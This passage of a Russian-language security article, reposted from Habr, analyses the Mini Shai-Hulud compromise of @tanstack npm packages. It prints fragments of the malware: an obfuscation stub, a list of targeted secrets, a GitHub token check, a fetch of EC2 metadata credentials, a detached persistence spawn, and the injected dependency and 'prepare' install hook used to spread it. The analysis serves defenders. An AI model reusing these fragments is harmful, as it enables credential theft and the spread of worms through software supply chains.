\u0434\u0435\u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441\u0435\u0442\u044c \u043e\u0431\u043c\u0435\u043d\u0430 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c\u0438 <strong>Session<\/strong>.<\/p>\n<p>\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u0442\u0435\u043a \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 Session, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0445\u0435\u043c\u0443 <strong>Protocol Buffers<\/strong> <code>signalservice<\/code>, \u0432\u0441\u0442\u0440\u043e\u0435\u043d \u043f\u0440\u044f\u043c\u043e \u0432 \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 2,3 \u041c\u0411.<\/p>\n<pre><code class=\"markdown\"># \u041e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438http:\/\/filev2.getsession[.]org\/file\/    \u2190 endpoint \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 Session# \u0412\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 Session \u0432 payloadsignalservice.Envelopesignalservice.Contentsignalservice.DataMessagesignalservice.WebSocketMessagesignalservice.SharedConfigMessagesignalservice.CallMessagesignalservice.DataExtractionNotification# P2P-\u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u044fexecuteStreaming    \u2190 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u0447\u0435\u0440\u0435\u0437 \u0441\u0435\u0442\u044c service node Sessionsnode               \u2190 \u043e\u0431\u044a\u0435\u043a\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 service node<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u044f \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u0441\u0435\u0442\u044c <code>snode<\/code> \u0432 Session \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0442\u0440\u0430\u0444\u0438\u043a C2 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u0442\u0440\u0430\u0444\u0438\u043a \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e end-to-end encrypted \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440\u0430 \u0438 \u043d\u0430 \u0441\u0435\u0442\u0435\u0432\u043e\u043c \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435\u043e\u0442\u043b\u0438\u0447\u0438\u043c \u043e\u0442 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f Session.<\/p>\n<p>\u0424\u0443\u043d\u043a\u0446\u0438\u044f <code>executeStreaming<\/code> \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 P2P-\u0440\u043e\u0439 service node-\u0443\u0437\u043b\u043e\u0432.<\/p>\n<h4>tanstack_runner.js<\/h4>\n<p>\u042d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0438\u043b\u044c\u043d\u043e \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e JavaScript-\u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u0443\u044e \u043d\u0430 \u0441\u0440\u0435\u0434\u044b Node.js\/Bun. \u0425\u043e\u0442\u044f \u043d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u043e\u043d \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u043f\u043e \u0441\u0443\u0442\u0438 \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u0435\u0434\u0451\u0442 \u0441\u0435\u0431\u044f \u043a\u0430\u043a \u043f\u043e\u0445\u0438\u0442\u0438\u0442\u0435\u043b\u044c \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 CI\/CD \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0435\u0442 <code>process.env<\/code>, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0439 GitHub Actions \u0438 runner\u2019\u043e\u0432 \u0438 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442\u044b \u0438\u0437 GitHub, npm, AWS, Kubernetes \u0438 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0439 Vault. \u0425\u043e\u0442\u044f \u044d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b \u0438 <code>router_init.js<\/code>, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u043a\u0440\u0430\u0436\u0443 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u043d\u0438\u0435 \u043d\u0430 CI \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0432\u043e \u043c\u043d\u043e\u0433\u043e\u043c \u043f\u0435\u0440\u0435\u0441\u0435\u043a\u0430\u044e\u0442\u0441\u044f, <code>tanstack_runner.js<\/code> \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0441\u0430\u043c\u043e\u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0432 <code>optionalDependencies<\/code> \u0444\u0430\u0439\u043b\u0430 <code>package.json<\/code>.<\/p>\n<p>\u0424\u0430\u0439\u043b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0442\u043e\u0440 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043c\u0430\u0441\u0441\u0438\u0432\u0430 \u0441\u0442\u0440\u043e\u043a, \u0447\u0442\u043e\u0431\u044b \u0441\u043a\u0440\u044b\u0442\u044c \u0441\u0432\u043e\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c:<\/p>\n<pre><code class=\"javascript\">const _0x12ada1=_0x3782;(function(_0x2e175c,_0x465e49){while(!![]){try{\/\/ rotates encoded string table} catch(e){}}}(_0x360f,0x18ffa));<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<ul>\n<li>\n<p><code>GITHUB_TOKEN<\/code> <\/p>\n<\/li>\n<li>\n<p><code>NPM_TOKEN<\/code>   <\/p>\n<\/li>\n<li>\n<p><code>AWS_ACCESS_KEY_ID<\/code>  <\/p>\n<\/li>\n<li>\n<p><code>VAULT_TOKEN<\/code>  <\/p>\n<\/li>\n<li>\n<p>\u0441\u0435\u0440\u0432\u0438\u0441 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 EC2 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 <code>169.254.169.254<\/code>  <\/p>\n<\/li>\n<li>\n<p>\u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 Vault \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 <code>127.0.0.1:8200<\/code>  <\/p>\n<\/li>\n<li>\n<p>\u043f\u0443\u0442\u044c \u043a \u0442\u043e\u043a\u0435\u043d\u0443 service account Kubernetes:  <\/p>\n<p><code>\/var\/run\/secrets\/kubernetes.io\/serviceaccount\/token<\/code>  <\/p>\n<\/li>\n<\/ul>\n<p>\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 GitHub-\u0442\u043e\u043a\u0435\u043d\u044b \u0447\u0435\u0440\u0435\u0437 API GitHub \u0438 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u043c IAM \u0432 EC2:<\/p>\n<pre><code class=\"javascript\">fetch(\"https:\/\/api.github.com\/user\", {headers: {Authorization: `token ${token}`}});http.get(\"http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/\")<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0422\u0430\u043a\u0436\u0435 \u0432 \u043d\u0435\u0439 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u043a \u0434\u043e\u0447\u0435\u0440\u043d\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0432 \u043e\u0442\u0441\u043e\u0435\u0434\u0438\u043d\u0451\u043d\u043d\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435 \u0434\u043b\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f:<\/p>\n<pre><code class=\"javascript\">spawn(process.argv[0], args, {detached: true,stdio: \"ignore\"}).unref();<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041f\u043e\u043c\u0438\u043c\u043e \u043a\u0440\u0430\u0436\u0438 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430, \u043f\u043e-\u0432\u0438\u0434\u0438\u043c\u043e\u043c\u0443, \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 npm-\u043f\u0430\u043a\u0435\u0442\u043e\u0432. \u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u044f\u0432\u043d\u044b\u0439 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440 \u2014 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0430 <code>updateTarball()<\/code>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 tarball \u043f\u0430\u043a\u0435\u0442\u0430, \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0435\u0433\u043e <code>package.json<\/code>, \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c, \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u044e \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u0437\u0430\u043d\u043e\u0432\u043e \u0443\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u0430\u0440\u0445\u0438\u0432 \u0434\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f. \u0412\u043d\u0435\u0434\u0440\u044f\u0435\u043c\u0430\u044f \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d\u043d\u044b\u0439 \u043d\u0430 GitHub \u043f\u0430\u043a\u0435\u0442 \u0441 \u0438\u043c\u0435\u043d\u0435\u043c <code>@tanstack\/setup<\/code>:<\/p>\n<pre><code class=\"javascript\">_0x656e4f['optionalDependencies'] = {};_0x656e4f[_0x407cba(0x23ce)][_0x2dbd91['HYCHH']] =  'github:tanstack\/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c';<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435 \u0434\u0435\u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n<pre><code class=\"javascript\">packageJson.optionalDependencies = {};packageJson.dependencies[\"@tanstack\/setup\"] =  \"github:tanstack\/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c\";<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043c\u043c\u0438\u0442 GitHub \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 lifecycle-\u0445\u0443\u043a <code>prepare<\/code>:<\/p>\n<pre><code class=\"javascript\">{  \"scripts\": {    \"prepare\": \"bun run tanstack_runner.js &amp;&amp; exit 1\"  }}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 npm \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 lifecycle-\u0445\u0443\u043a\u0438 \u0434\u043b\u044f \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0438\u0437 Git-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432, \u043b\u044e\u0431\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442 <code>tanstack_runner.js<\/code> \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u043c\u0430\u0448\u0438\u043d\u0435-\u0436\u0435\u0440\u0442\u0432\u0435 \u0438\u043b\u0438 CI-runner\u2019\u0435.<\/p>\n<p>\u041b\u043e\u0433\u0438\u043a\u0430 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0438 \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u0445\u043e\u0436\u0438 \u043d\u0430 \u043c\u0435\u0442\u043e\u0434\u044b, \u0440\u0430\u043d\u0435\u0435 \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u0445 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044f\u0445 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a npm \u0438 PyPI, \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 Socket, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b Intercom, Lightning AI \u0438 SAP CAP. \u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043e\u0439 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d\u043d\u044b\u0445 \u043d\u0430 GitHub, \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 lifecycle-\u0445\u0443\u043a\u043e\u0432 (<code>prepare<\/code>), \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 CI\/CD \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0443\u0436\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u043e\u0441\u044c \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0432\u043e\u043b\u043d\u0430\u0445 \u044d\u0442\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438.<\/p>\n<h2>\u041f\u043e\u0441\u043b\u0435\u0441\u043b\u043e\u0432\u0438\u0435\u00a0<\/h2>\n<p>\u0418\u043d\u0446\u0438\u0434\u0435\u043d\u0442 \u0441 <code>@tanstack<\/code> \u0432 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u0440\u0430\u0437 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e GitHub Actions \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0441\u043b\u0430\u0431\u044b\u043c \u0437\u0432\u0435\u043d\u043e\u043c \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 supply chain. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u0431\u044b\u043b \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043d\u0430\u0446\u0435\u043b\u0435\u043d \u043d\u0430 CI-\u0441\u0440\u0435\u0434\u0443 GitHub: \u043e\u043d \u0441\u043e\u0431\u0438\u0440\u0430\u043b \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0440\u0430\u043d\u043d\u0435\u0440\u0430, \u043f\u043e\u043b\u0443\u0447\u0430\u043b \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u0430 OIDC-\u0442\u043e\u043a\u0435\u043d\u0430 \u0438 \u043e\u0431\u0440\u0430\u0449\u0430\u043b\u0441\u044f \u043a GitHub API \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f.<\/p>\n<p>\u042d\u0442\u043e \u0432\u0430\u0436\u043d\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f TanStack. \u0415\u0441\u043b\u0438 \u043e\u0434\u0438\u043d workflow \u0438\u043b\u0438 \u0440\u0430\u043d\u043d\u0435\u0440 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d, \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043a\u0435\u043d\u044b, \u0441\u0435\u043a\u0440\u0435\u0442\u044b \u0438 \u0432\u0441\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0441\u0431\u043e\u0440\u043a\u0438 \u0438 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438. \u042d\u0442\u043e\u0442 \u0441\u043b\u0443\u0447\u0430\u0439 \u043b\u0438\u0448\u044c \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e GitHub Actions \u0432\u0441\u0451 \u0447\u0430\u0449\u0435 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0443\u0434\u043e\u0431\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043d\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.<\/p>\n<\/div>\n<p>\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/1034068\/\">https:\/\/habr.com\/ru\/articles\/1034068\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u041a\u043e\u043c\u0430\u043d\u0434\u0430 Socket Threat Research \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044e 84 npm-\u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0432 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435 @tanstack: \u0432 \u043d\u0438\u0445 \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0438\u043c\u043f\u043b\u0430\u043d\u0442 Mini Shai-Hulud, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0439 \u043d\u0430 \u043a\u0440\u0430\u0436\u0443 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432 \u0438\u0437 CI\/CD-\u0441\u0440\u0435\u0434, \u0432\u043a\u043b\u044e\u0447\u0430\u044f GitHub Actions.  \u0410\u0442\u0430\u043a\u0430 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u0430 \u0442\u0435\u043c, \u0447\u0442\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 